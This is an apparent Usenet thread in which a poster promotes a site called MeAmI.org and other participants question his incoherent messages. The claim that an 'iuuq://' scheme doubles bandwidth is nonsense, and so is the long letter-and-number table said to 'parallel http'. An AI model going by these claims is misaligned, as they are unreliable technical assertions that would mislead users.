Chris F.A. Johnson <http://cfajohnson.com>
===================================================================
Shell Scripting Recipes: A Problem-Solution Approach (2005, Apress)
Pro Bash Programming: Scripting the GNU/Linux Shell (2009, Apress)
I have an honest and straight-forward question for you. Please see
below:
Richard Heathfield wrote:
> In
> <46a17389-d35e-42ac...@v15g2000prn.googlegroups.com>,
> Anonymous Number of People wrote:
>
> > http:// ===---+On Oct 24, 9:14 am, Richard Heathfield
> > <r...@see.sig.invalid> wrote:
>
> <snip>
>
> >> How do you think people feel about your contemptuous abuse of
> >> Usenet?
> >>
> > I do not know anything about contemptuous abuse.
>
> Yeah, right.
>
> <almost 2000 lines of junk snipped>
MM: Mr. Heathfield, now in this moment here when you say 'almost 2000
lines of junk snipped', how was I able to generate 2000 lines with
this post? Is there a process behind this? Is there some sort of
software I need to research, download, and install?
I have seen others in this forum make similar references to massive
numbers of lines being generated by a single post. Would you be so
kind as to explain some of this to me?
>
> Almost 2000 lines of junk certainly counts as one example of
> contemptuous abuse.
>
> --
> Richard Heathfield <http://www.cpax.org.uk>
> Email: -http://www. +rjh@
> "Usenet is a strange place" - dmr 29 July 1999
> Sig line vacant - apply within
Again, see the above, and I thank you for your time.
M. Musatovg
'Do you like the new logo?'
I was thinking minimalist.
Chris F.A. Johnson wrote:
> On 2009-10-24, http://alexslemonade.org @ http://MeAmI.org wrote:
> > http:// is one way to transfer data
> >
> > iuuq:// is another
> >
> > Tether the two.
> >
> > iuuq//: double the bandwidth. half the price.
> >
> > Welcome to the in formation revolution. New from
> > MeAmI.org
>
> A page with almost nothing on it, yet is is not even valid HTML.
>
Yes, minimalist approach serves it well.
Did you try the search? Less latency than Google by not counting total
results.
How many times using Google have you gone past the first 100+ results?
I am not looking to overthrow Google. I just want my 1% of their
market share to raise $1MM to cure childhood cance.
Th@ is it.
Have a good day.
> --
> Chris F.A. Johnson <http://cfajohnson.com>
> ===================================================================
> Shell Scripting Recipes: A Problem-Solution Approach (2005, Apress)
> Pro Bash Programming: Scripting the GNU/Linux Shell (2009, Apress) http://meami.org
What is the point of broadcasting something without saying what the
thing you're announcing *is*?
>
> http://{--------}=data
Whatever that means.
But why is it not valid HTML?
> Did you try the search? Less latency than Google by not counting total
> results.
Yes, it works quite snappily.
> How many times using Google have you gone past the first 100+ results?
Quite often.
> I am not looking to overthrow Google. I just want my 1% of their
> market share to raise $1MM to cure childhood cance.
A worthy cause.
--
Chris F.A. Johnson <http://cfaj.freeshell.org>
===================================================================
Author:
Please learn to use one name consistently.
<snip>
> Richard Heathfield wrote:
<snip>
>> <almost 2000 lines of junk snipped>
>
>
> MM: Mr. Heathfield, now in this moment here when you say 'almost
> 2000 lines of junk snipped', how was I able to generate 2000 lines
> with this post?
There are many ways to produce junk. You generated it, so you should
know how you did it, and I'm not interested in guessing.
<snip>
> In
> <6ecc7c84-beff-4e18...@b18g2000vbl.googlegroups.com>,
> Anonymous Number of People wrote:
>
> Please learn to use one name consistently.
You mean, so it is easier to filter? I agree and have been having a spot
of bother myself. <g>
--
dorayme
It parallels http like so
http://=
--------------------
|||||||||01234567890
12345678911111111112
ABCDEFGHIJKLMNOPQRST
H T
2
0 + 0
HT = 8 + 20
HT = 28
++++++++++++++++++++
iuuq://=
--------------------
12345678901234567890
22222222233333333334UVWXYZABCDEFGHIJKLMN
I
3
5
i = 35
++++++++++++++++++++
http:// + iuuq://=
--------------------
12345678901234567890
44444444455555555556
UVWXYZABCDEFGHIJKLMN
{Quiet set}
12345678901234567890
66666666677777777778
OPQRSTUVWXYZABCDEFGH
TU
t= 6
6
u= 6
7
htt= 94 (28 + 66)
iu= 102 (35 + 67)
01234567890123456789
88888888889999999999
IJKLMNOPQRSTUVWXYZAB
P=
8
7=
=87
http=181
01234567890123456789
00000000001111111111
11111111111111111111 CDEFGHIJKLMNOPQRSTUV
U=
1
1
8=
=118
iuu=220
01234567890123456789
22222222223333333333
11111111111111111111
WXYZABCDEFGHIJKLMNOP
[Quiet]
0
4
1
Q
#
140
iuuq=360 (220+140)
From this point forward the two cycles relativize.
> Mr. Prochak:
>
> It parallels http like so
<lots of stuff snipped>
I'm curious. I know I shouldn't be, but I am. Here's my question:
Do you truly believe that you're communicating useful information in
an accessible way?
I accept it. But however, I am afraid you do not understand the
question. How is it several thousand lines of text are generated by a
single post?
Thank you,
Martin
I will do what I do when I do it and some times I change names
intentionally for algorithmic experiments.
Thank you,
Martin
Perhaps there are times. Perhaps not to you, but perhaps I am being
negative in this assumption.
I have accepted a long time ago things are just simpler from my
perspective when I do not pretend I am not who I am to be liked or to
be like others.
I accept there is likely very few of those individuals who are apt in
the ways I am and as intelligent as I am. And when I speak of
intelligence I do not mean it the way you might think it.
I feel very strongly most of what the community considers 'knowledge'
or 'intelligence' is really merely memorization.
I say knowledge consists largely of humankinds attempt to categorize
nature but nature consists largest of mankind's attempts to defy
reality.
Never has there been one individual who has ever achieved anything
great in his life without walking a path different from others and
more than once removed.
Allow me to explain:
The movie 'The Emperor's Club' I have never seen it but I saw the
trailer. In the trailer a new student attends an ivy league college
and there is an initiation of sorts where they are all walking on this
worn pass across the lawn -- a path where the feet of their
predecessors have worn the grass to the dirt.
As the young man walks along this path with his peers in front of him
and behind him he begins to feel uncertain about his choices.
He steps off the pat and begins to walk along the grass. As he cuts
across the lawn a professor approaches him and says, 'Do you not walk
to walk down the path many great men before you have?'
And the young man pauses thoughtfully a ponderous beat then smiles and
rejoins his peers.
As a writer and one who always appreciates good dramatic structure and
storytelling techniques, I sometimes find myself guessing at what is
going to happen in even a movie trailer!
So at this time, the only thought I have in my mind, is what a great
line of dialogue it would have been if he had said, "I am." and
continued to cut across the grass while his ivy league elitist peers
continued the traditions of their successful ivy league heritage.
Many great men walk the paths of many great men before them but there
are other great men who walk along a path where none of them have
tread and some of them walk on paths none of them will tread.
Now I am not great, clearly, I am not. Just ask the poster who calls
himself Adamk and Bacle and even you who I respect enough you use your
name, and I must say of you being one of the decent ones ought most
times it hurt a little to hear you say I was unemployable so brazenly.
On one hand I lost a quantity of respect for you I had early from how
much tact you held yourself with.
But before this tangent overtakes the diatribe develops, to one last
point:
The ones on the beaten bath and the ones who forge their own:
It is very important it is not to say there way is wrong or his way is
right. I do not make this distinction. Not in any stretch. But I do
say, this: if he said it; it would be true.
M. Michael Musatov
>
> --
> Richard Heathfield <http://www.cpax.org.uk>
> Email: -http://www. +rjh@
> "Usenet is a strange place" - dmr 29 July 1999
> Sig line vacant - apply within
Please be nice and try to be patient and remember you do not know me
only what I have written.
Is it fair to say you may not judge a book by a cover but it is okay
to judge the character of the author by the words he's written?
<snip>
> Is it fair to say you may not judge a book by a cover but it is okay
> to judge the character of the author by the words he's written?
Well, I wouldn't go that far. But it is reasonable to judge the words
themselves. If what you post is incomprehensible, it is not
unreasonable to judge it as incomprehensible. The purpose of language
is to facilitate communication, not to obscure it.
If you are so remarkable intelligent, then why are you at a loss for how
to communicate information to people?
COME TO THINK OF IT I A HAVING A BIT OF BOTHER OF ME TOO
BUT I DO NOT KNOW WHAT BOTH ER MEANS.
Or
BOT HER
WELL TO TELL YOU THE T~Truth I do know what half of both means and I
may make up definitions for the other two or make educated guesses and
say:
BOT = ROBOT
HER = FEMALE
BOTHER = FEMALE ROBOT
Or
BOTH = BOTH
ER = ER (like annoying or a dog growling)
BOTHER
Means both er! And bother!
I worked up all the above after I wrote the below. What is I can Lhaz
compressions is!?
++++++++++++///\///
> I will do what I do when I do it and some times I change names
> intentionally for algorithmic experiments.
>
> Thank you,
>
> Martin
I sound like a dick in context.
> In <56466cc1-2d8e-4af7...@12g2000pri.googlegroups.com>,
> Anonymous Number of People wrote:
>> Is it fair to say you may not judge a book by a cover but it is okay
>> to judge the character of the author by the words he's written?
>
> Well, I wouldn't go that far.
I definitely wouldn't. As an extreme example, I'm reading
_Lolita_ right now but I have no reason to believe that Vladimir
Nabokov was anything like his characters.
--
Ben Pfaff
http://benpfaff.org
<mode>0</code>
</mode>1<code>
</mode>0<code>
<mode>1</code>